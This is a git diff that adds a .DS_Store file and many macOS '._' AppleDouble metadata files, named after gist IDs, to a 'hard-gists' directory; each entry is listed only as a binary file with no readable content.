diff --git a/hard-gists/.DS_Store b/hard-gists/.DS_Store
new file mode 100644
index 00000000..c8fde9ff
Binary files /dev/null and b/hard-gists/.DS_Store differ
diff --git a/hard-gists/._.DS_Store b/hard-gists/._.DS_Store
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._.DS_Store differ
diff --git a/hard-gists/._00056d4304c58a035c87cdf5ff1e5e3e b/hard-gists/._00056d4304c58a035c87cdf5ff1e5e3e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._00056d4304c58a035c87cdf5ff1e5e3e differ
diff --git a/hard-gists/._000eccf3d66540d75def b/hard-gists/._000eccf3d66540d75def
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._000eccf3d66540d75def differ
diff --git a/hard-gists/._00135b0dfee0ae165ad2 b/hard-gists/._00135b0dfee0ae165ad2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._00135b0dfee0ae165ad2 differ
diff --git a/hard-gists/._005bbad123ef309a5bef b/hard-gists/._005bbad123ef309a5bef
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._005bbad123ef309a5bef differ
diff --git a/hard-gists/._005ceac0483fc5a581cc b/hard-gists/._005ceac0483fc5a581cc
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._005ceac0483fc5a581cc differ
diff --git a/hard-gists/._00a17b1d374dfc267a9a b/hard-gists/._00a17b1d374dfc267a9a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._00a17b1d374dfc267a9a differ
diff --git a/hard-gists/._00a4835bf36513ca58a3 b/hard-gists/._00a4835bf36513ca58a3
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._00a4835bf36513ca58a3 differ
diff --git a/hard-gists/._00e9638c0efad1adac878522cf172484 b/hard-gists/._00e9638c0efad1adac878522cf172484
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._00e9638c0efad1adac878522cf172484 differ
diff --git a/hard-gists/._011004bcac763eaf6f28 b/hard-gists/._011004bcac763eaf6f28
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._011004bcac763eaf6f28 differ
diff --git a/hard-gists/._0115e0ce312f26ff59f4fbf4f5821ca2 b/hard-gists/._0115e0ce312f26ff59f4fbf4f5821ca2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0115e0ce312f26ff59f4fbf4f5821ca2 differ
diff --git a/hard-gists/._015e2ce27cecdea63564 b/hard-gists/._015e2ce27cecdea63564
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._015e2ce27cecdea63564 differ
diff --git a/hard-gists/._01886b6f79ba0c4dce66 b/hard-gists/._01886b6f79ba0c4dce66
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._01886b6f79ba0c4dce66 differ
diff --git a/hard-gists/._0191e14717af68bbba81 b/hard-gists/._0191e14717af68bbba81
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0191e14717af68bbba81 differ
diff --git a/hard-gists/._019fd5c706e0bc94879f b/hard-gists/._019fd5c706e0bc94879f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._019fd5c706e0bc94879f differ
diff --git a/hard-gists/._01b8b8e1909ae0f601c85e142f2bd15b b/hard-gists/._01b8b8e1909ae0f601c85e142f2bd15b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._01b8b8e1909ae0f601c85e142f2bd15b differ
diff --git a/hard-gists/._01bf3900d3a02c4e3927b2a2bcf39100 b/hard-gists/._01bf3900d3a02c4e3927b2a2bcf39100
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._01bf3900d3a02c4e3927b2a2bcf39100 differ
diff --git a/hard-gists/._01c99322cf985e771827 b/hard-gists/._01c99322cf985e771827
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._01c99322cf985e771827 differ
diff --git a/hard-gists/._026a4d6400b1efac9a13a3296f16e655 b/hard-gists/._026a4d6400b1efac9a13a3296f16e655
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._026a4d6400b1efac9a13a3296f16e655 differ
diff --git a/hard-gists/._02ff378b3a91de94306a84d3aa2228bb b/hard-gists/._02ff378b3a91de94306a84d3aa2228bb
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._02ff378b3a91de94306a84d3aa2228bb differ
diff --git a/hard-gists/._0306734dfe17076dfd34e09660c198c0 b/hard-gists/._0306734dfe17076dfd34e09660c198c0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0306734dfe17076dfd34e09660c198c0 differ
diff --git a/hard-gists/._034e799c19eb763fa859 b/hard-gists/._034e799c19eb763fa859
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._034e799c19eb763fa859 differ
diff --git a/hard-gists/._035dc3b722b7f89cce66520dde285c9a b/hard-gists/._035dc3b722b7f89cce66520dde285c9a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._035dc3b722b7f89cce66520dde285c9a differ
diff --git a/hard-gists/._037e4134d8271c0de71b838a461e7ac1 b/hard-gists/._037e4134d8271c0de71b838a461e7ac1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._037e4134d8271c0de71b838a461e7ac1 differ
diff --git a/hard-gists/._03d9c46c86691c9bb680 b/hard-gists/._03d9c46c86691c9bb680
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._03d9c46c86691c9bb680 differ
diff --git a/hard-gists/._03de5c4c21138da5c29d b/hard-gists/._03de5c4c21138da5c29d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._03de5c4c21138da5c29d differ
diff --git a/hard-gists/._044682e76def583a12e6c09209c664a1 b/hard-gists/._044682e76def583a12e6c09209c664a1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._044682e76def583a12e6c09209c664a1 differ
diff --git a/hard-gists/._045c887b6ccdf0edf4648da0c40bcc12 b/hard-gists/._045c887b6ccdf0edf4648da0c40bcc12
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._045c887b6ccdf0edf4648da0c40bcc12 differ
diff --git a/hard-gists/._046e434c51057dc9588762edd40199b1 b/hard-gists/._046e434c51057dc9588762edd40199b1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._046e434c51057dc9588762edd40199b1 differ
diff --git a/hard-gists/._04c2b5ce5978c0d66e6e b/hard-gists/._04c2b5ce5978c0d66e6e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._04c2b5ce5978c0d66e6e differ
diff --git a/hard-gists/._04ef258fa29e4e685287a30cf60462d0 b/hard-gists/._04ef258fa29e4e685287a30cf60462d0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._04ef258fa29e4e685287a30cf60462d0 differ
diff --git a/hard-gists/._04f3047ca8770f4a3a58 b/hard-gists/._04f3047ca8770f4a3a58
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._04f3047ca8770f4a3a58 differ
diff --git a/hard-gists/._051e881fc94fe4a49295 b/hard-gists/._051e881fc94fe4a49295
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._051e881fc94fe4a49295 differ
diff --git a/hard-gists/._053b89bd6975f89f043871335dce8c5b b/hard-gists/._053b89bd6975f89f043871335dce8c5b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._053b89bd6975f89f043871335dce8c5b differ
diff --git a/hard-gists/._053db410f7fdd4e1d6034a0a7fd45d9b b/hard-gists/._053db410f7fdd4e1d6034a0a7fd45d9b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._053db410f7fdd4e1d6034a0a7fd45d9b differ
diff --git a/hard-gists/._054023c4fca5369ffdb2 b/hard-gists/._054023c4fca5369ffdb2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._054023c4fca5369ffdb2 differ
diff --git a/hard-gists/._056626de3fbdc7cf7b59de1d9f6279d1 b/hard-gists/._056626de3fbdc7cf7b59de1d9f6279d1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._056626de3fbdc7cf7b59de1d9f6279d1 differ
diff --git a/hard-gists/._05aadb969e43788593d3 b/hard-gists/._05aadb969e43788593d3
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._05aadb969e43788593d3 differ
diff --git a/hard-gists/._05bec6966701f720c3aa b/hard-gists/._05bec6966701f720c3aa
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._05bec6966701f720c3aa differ
diff --git a/hard-gists/._05ff99985269200cdc4854ddc04fa6e9 b/hard-gists/._05ff99985269200cdc4854ddc04fa6e9
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._05ff99985269200cdc4854ddc04fa6e9 differ
diff --git a/hard-gists/._0618f44dc5270f9a2be2826d0d933ed7 b/hard-gists/._0618f44dc5270f9a2be2826d0d933ed7
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0618f44dc5270f9a2be2826d0d933ed7 differ
diff --git a/hard-gists/._06336eb10a1628850d6f b/hard-gists/._06336eb10a1628850d6f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._06336eb10a1628850d6f differ
diff --git a/hard-gists/._06649145d7e6c4c147c02459fd2bc5af b/hard-gists/._06649145d7e6c4c147c02459fd2bc5af
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._06649145d7e6c4c147c02459fd2bc5af differ
diff --git a/hard-gists/._070c805d947bd17c7a19 b/hard-gists/._070c805d947bd17c7a19
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._070c805d947bd17c7a19 differ
diff --git a/hard-gists/._071932322204bcad6063 b/hard-gists/._071932322204bcad6063
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._071932322204bcad6063 differ
diff --git a/hard-gists/._075c35b536cc08b832e353f2f43c0bdc b/hard-gists/._075c35b536cc08b832e353f2f43c0bdc
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._075c35b536cc08b832e353f2f43c0bdc differ
diff --git a/hard-gists/._076424abd8b012371b516da32807ca14 b/hard-gists/._076424abd8b012371b516da32807ca14
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._076424abd8b012371b516da32807ca14 differ
diff --git a/hard-gists/._076bbc6a0d5056d20ad45095b434b02d b/hard-gists/._076bbc6a0d5056d20ad45095b434b02d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._076bbc6a0d5056d20ad45095b434b02d differ
diff --git a/hard-gists/._07cdfc2826a565b50a68 b/hard-gists/._07cdfc2826a565b50a68
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._07cdfc2826a565b50a68 differ
diff --git a/hard-gists/._0830affa1f7f19fd47b06d4cf89ed44d b/hard-gists/._0830affa1f7f19fd47b06d4cf89ed44d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0830affa1f7f19fd47b06d4cf89ed44d differ
diff --git a/hard-gists/._083777cb1f8c9efe6418c75d18bdd32b b/hard-gists/._083777cb1f8c9efe6418c75d18bdd32b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._083777cb1f8c9efe6418c75d18bdd32b differ
diff --git a/hard-gists/._0932b2b5293839cd7d79fa6b513c8128 b/hard-gists/._0932b2b5293839cd7d79fa6b513c8128
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0932b2b5293839cd7d79fa6b513c8128 differ
diff --git a/hard-gists/._09648344984565f9477a b/hard-gists/._09648344984565f9477a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._09648344984565f9477a differ
diff --git a/hard-gists/._096f3b651b268b7af4c8c32475fa23d1 b/hard-gists/._096f3b651b268b7af4c8c32475fa23d1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._096f3b651b268b7af4c8c32475fa23d1 differ
diff --git a/hard-gists/._097f97f4cb67c554f04dba6b5a09a506 b/hard-gists/._097f97f4cb67c554f04dba6b5a09a506
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._097f97f4cb67c554f04dba6b5a09a506 differ
diff --git a/hard-gists/._098f399d69f230521ef530baca832e76 b/hard-gists/._098f399d69f230521ef530baca832e76
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._098f399d69f230521ef530baca832e76 differ
diff --git a/hard-gists/._09b1f5403c63ceab5ae34710cbe2809e b/hard-gists/._09b1f5403c63ceab5ae34710cbe2809e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._09b1f5403c63ceab5ae34710cbe2809e differ
diff --git a/hard-gists/._09cae53bf67ea8a39700 b/hard-gists/._09cae53bf67ea8a39700
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._09cae53bf67ea8a39700 differ
diff --git a/hard-gists/._09f5ab44486b1fc6df7bf20ce57159f1 b/hard-gists/._09f5ab44486b1fc6df7bf20ce57159f1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._09f5ab44486b1fc6df7bf20ce57159f1 differ
diff --git a/hard-gists/._0a2ac74d800a2eff9540 b/hard-gists/._0a2ac74d800a2eff9540
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0a2ac74d800a2eff9540 differ
diff --git a/hard-gists/._0a3d4fae965bdbec1f9d b/hard-gists/._0a3d4fae965bdbec1f9d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0a3d4fae965bdbec1f9d differ
diff --git a/hard-gists/._0a509faf231cff3cdec7 b/hard-gists/._0a509faf231cff3cdec7
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0a509faf231cff3cdec7 differ
diff --git a/hard-gists/._0aaa9e4659977a98fc9f36d6887fef37 b/hard-gists/._0aaa9e4659977a98fc9f36d6887fef37
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0aaa9e4659977a98fc9f36d6887fef37 differ
diff --git a/hard-gists/._0acf77b2c022e2467cfb0d5493d454d6 b/hard-gists/._0acf77b2c022e2467cfb0d5493d454d6
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0acf77b2c022e2467cfb0d5493d454d6 differ
diff --git a/hard-gists/._0afa43225bdbe8e803cb b/hard-gists/._0afa43225bdbe8e803cb
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0afa43225bdbe8e803cb differ
diff --git a/hard-gists/._0b42dbd687ae3b838728 b/hard-gists/._0b42dbd687ae3b838728
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0b42dbd687ae3b838728 differ
diff --git a/hard-gists/._0b677b13fca6cd0905ca b/hard-gists/._0b677b13fca6cd0905ca
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0b677b13fca6cd0905ca differ
diff --git a/hard-gists/._0b7e91487dcf10c0b8e8711eb6d73bc5 b/hard-gists/._0b7e91487dcf10c0b8e8711eb6d73bc5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0b7e91487dcf10c0b8e8711eb6d73bc5 differ
diff --git a/hard-gists/._0b92b9ca837a0f5474c732876220db78 b/hard-gists/._0b92b9ca837a0f5474c732876220db78
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0b92b9ca837a0f5474c732876220db78 differ
diff --git a/hard-gists/._0b942dd86f01efe996b8977b158c37a6 b/hard-gists/._0b942dd86f01efe996b8977b158c37a6
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0b942dd86f01efe996b8977b158c37a6 differ
diff --git a/hard-gists/._0b9d8a742fe0efe0fe82 b/hard-gists/._0b9d8a742fe0efe0fe82
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0b9d8a742fe0efe0fe82 differ
diff --git a/hard-gists/._0ba0270279a0f38280423754cea2ee1e b/hard-gists/._0ba0270279a0f38280423754cea2ee1e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0ba0270279a0f38280423754cea2ee1e differ
diff --git a/hard-gists/._0bc7d313e7a84b708374 b/hard-gists/._0bc7d313e7a84b708374
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0bc7d313e7a84b708374 differ
diff --git a/hard-gists/._0bdd7059a08cbcd00898 b/hard-gists/._0bdd7059a08cbcd00898
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0bdd7059a08cbcd00898 differ
diff --git a/hard-gists/._0c01b7a27e512db480847fac2cc54103 b/hard-gists/._0c01b7a27e512db480847fac2cc54103
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0c01b7a27e512db480847fac2cc54103 differ
diff --git a/hard-gists/._0c10e910e514832b7103 b/hard-gists/._0c10e910e514832b7103
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0c10e910e514832b7103 differ
diff --git a/hard-gists/._0c7ccae5d764ff61788fc626096e5688 b/hard-gists/._0c7ccae5d764ff61788fc626096e5688
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0c7ccae5d764ff61788fc626096e5688 differ
diff --git a/hard-gists/._0ca2272c015266e667924836364349c3 b/hard-gists/._0ca2272c015266e667924836364349c3
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0ca2272c015266e667924836364349c3 differ
diff --git a/hard-gists/._0cdd8d6adb8463961f50bd1845faddf8 b/hard-gists/._0cdd8d6adb8463961f50bd1845faddf8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0cdd8d6adb8463961f50bd1845faddf8 differ
diff --git a/hard-gists/._0cfe89a89b892e47e8418e281dfe318d b/hard-gists/._0cfe89a89b892e47e8418e281dfe318d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0cfe89a89b892e47e8418e281dfe318d differ
diff --git a/hard-gists/._0d1baad4e3a871587ab1 b/hard-gists/._0d1baad4e3a871587ab1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0d1baad4e3a871587ab1 differ
diff --git a/hard-gists/._0d25683d9c8fce27edd3 b/hard-gists/._0d25683d9c8fce27edd3
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0d25683d9c8fce27edd3 differ
diff --git a/hard-gists/._0d5a709bbb4186d1f45f2af14c65b110 b/hard-gists/._0d5a709bbb4186d1f45f2af14c65b110
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0d5a709bbb4186d1f45f2af14c65b110 differ
diff --git a/hard-gists/._0d5b3e7cc89cb2180c6e b/hard-gists/._0d5b3e7cc89cb2180c6e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0d5b3e7cc89cb2180c6e differ
diff --git a/hard-gists/._0d9745f39a034758e51e b/hard-gists/._0d9745f39a034758e51e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0d9745f39a034758e51e differ
diff --git a/hard-gists/._0d9f91f789f0c523b0e7 b/hard-gists/._0d9f91f789f0c523b0e7
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0d9f91f789f0c523b0e7 differ
diff --git a/hard-gists/._0db840f27f1f0fd0747f13ab80d0ca37 b/hard-gists/._0db840f27f1f0fd0747f13ab80d0ca37
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0db840f27f1f0fd0747f13ab80d0ca37 differ
diff --git a/hard-gists/._0db858e055cc2bae953b435f5116aaa8 b/hard-gists/._0db858e055cc2bae953b435f5116aaa8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0db858e055cc2bae953b435f5116aaa8 differ
diff --git a/hard-gists/._0e7d366d2e3623c5bb95 b/hard-gists/._0e7d366d2e3623c5bb95
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0e7d366d2e3623c5bb95 differ
diff --git a/hard-gists/._0ec0c3f5ca69bac2b625 b/hard-gists/._0ec0c3f5ca69bac2b625
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0ec0c3f5ca69bac2b625 differ
diff --git a/hard-gists/._0ee6dd444994fd67f63b b/hard-gists/._0ee6dd444994fd67f63b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0ee6dd444994fd67f63b differ
diff --git a/hard-gists/._0efb4d07f28af1c8fc1b b/hard-gists/._0efb4d07f28af1c8fc1b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0efb4d07f28af1c8fc1b differ
diff --git a/hard-gists/._0efb90d998c59d5926ca7f4e79054361 b/hard-gists/._0efb90d998c59d5926ca7f4e79054361
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0efb90d998c59d5926ca7f4e79054361 differ
diff --git a/hard-gists/._0efcacfb43827ba3a6bac3356315c419 b/hard-gists/._0efcacfb43827ba3a6bac3356315c419
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0efcacfb43827ba3a6bac3356315c419 differ
diff --git a/hard-gists/._0f450e738bf79c003253 b/hard-gists/._0f450e738bf79c003253
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0f450e738bf79c003253 differ
diff --git a/hard-gists/._0f575a0891cfef5f1b0024c89dcbaeea b/hard-gists/._0f575a0891cfef5f1b0024c89dcbaeea
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0f575a0891cfef5f1b0024c89dcbaeea differ
diff --git a/hard-gists/._0f5f65ddbfa278713f58 b/hard-gists/._0f5f65ddbfa278713f58
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0f5f65ddbfa278713f58 differ
diff --git a/hard-gists/._0f87efc363309e99d600e3a6300fbcff b/hard-gists/._0f87efc363309e99d600e3a6300fbcff
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._0f87efc363309e99d600e3a6300fbcff differ
diff --git a/hard-gists/._10005117 b/hard-gists/._10005117
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._10005117 differ
diff --git a/hard-gists/._10010307 b/hard-gists/._10010307
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._10010307 differ
diff --git a/hard-gists/._10011921 b/hard-gists/._10011921
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._10011921 differ
diff --git a/hard-gists/._10016605 b/hard-gists/._10016605
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._10016605 differ
diff --git a/hard-gists/._10023837 b/hard-gists/._10023837
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._10023837 differ
diff --git a/hard-gists/._1009475 b/hard-gists/._1009475
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1009475 differ
diff --git a/hard-gists/._101323115e70bb6671d3 b/hard-gists/._101323115e70bb6671d3
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._101323115e70bb6671d3 differ
diff --git a/hard-gists/._10206392 b/hard-gists/._10206392
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._10206392 differ
diff --git a/hard-gists/._1023456 b/hard-gists/._1023456
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1023456 differ
diff --git a/hard-gists/._10235798 b/hard-gists/._10235798
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._10235798 differ
diff --git a/hard-gists/._1025525 b/hard-gists/._1025525
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1025525 differ
diff --git a/hard-gists/._1025736 b/hard-gists/._1025736
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1025736 differ
diff --git a/hard-gists/._10281460 b/hard-gists/._10281460
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._10281460 differ
diff --git a/hard-gists/._1029336 b/hard-gists/._1029336
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1029336 differ
diff --git a/hard-gists/._10295174 b/hard-gists/._10295174
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._10295174 differ
diff --git a/hard-gists/._1029870 b/hard-gists/._1029870
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1029870 differ
diff --git a/hard-gists/._10335601 b/hard-gists/._10335601
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._10335601 differ
diff --git a/hard-gists/._1035190 b/hard-gists/._1035190
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1035190 differ
diff --git a/hard-gists/._10354951 b/hard-gists/._10354951
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._10354951 differ
diff --git a/hard-gists/._1035890 b/hard-gists/._1035890
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1035890 differ
diff --git a/hard-gists/._1036883 b/hard-gists/._1036883
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1036883 differ
diff --git a/hard-gists/._1038987 b/hard-gists/._1038987
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1038987 differ
diff --git a/hard-gists/._1040366 b/hard-gists/._1040366
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1040366 differ
diff --git a/hard-gists/._1041172 b/hard-gists/._1041172
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1041172 differ
diff --git a/hard-gists/._1042719 b/hard-gists/._1042719
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1042719 differ
diff --git a/hard-gists/._1042778 b/hard-gists/._1042778
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1042778 differ
diff --git a/hard-gists/._10438748 b/hard-gists/._10438748
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._10438748 differ
diff --git a/hard-gists/._1044215 b/hard-gists/._1044215
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1044215 differ
diff --git a/hard-gists/._1045108 b/hard-gists/._1045108
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1045108 differ
diff --git a/hard-gists/._10491632 b/hard-gists/._10491632
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._10491632 differ
diff --git a/hard-gists/._1052286 b/hard-gists/._1052286
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1052286 differ
diff --git a/hard-gists/._1054969 b/hard-gists/._1054969
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1054969 differ
diff --git a/hard-gists/._1055161 b/hard-gists/._1055161
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1055161 differ
diff --git a/hard-gists/._10554232 b/hard-gists/._10554232
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._10554232 differ
diff --git a/hard-gists/._1055992 b/hard-gists/._1055992
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1055992 differ
diff --git a/hard-gists/._10567484 b/hard-gists/._10567484
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._10567484 differ
diff --git a/hard-gists/._10589494 b/hard-gists/._10589494
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._10589494 differ
diff --git a/hard-gists/._1059647 b/hard-gists/._1059647
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1059647 differ
diff --git a/hard-gists/._1065196 b/hard-gists/._1065196
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1065196 differ
diff --git a/hard-gists/._1068021 b/hard-gists/._1068021
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1068021 differ
diff --git a/hard-gists/._1068255 b/hard-gists/._1068255
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1068255 differ
diff --git a/hard-gists/._1068868 b/hard-gists/._1068868
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1068868 differ
diff --git a/hard-gists/._106c49a3ae6d420937aa b/hard-gists/._106c49a3ae6d420937aa
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._106c49a3ae6d420937aa differ
diff --git a/hard-gists/._1072977 b/hard-gists/._1072977
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1072977 differ
diff --git a/hard-gists/._1074124 b/hard-gists/._1074124
new file mode 100644
index 00000000..cd8af967
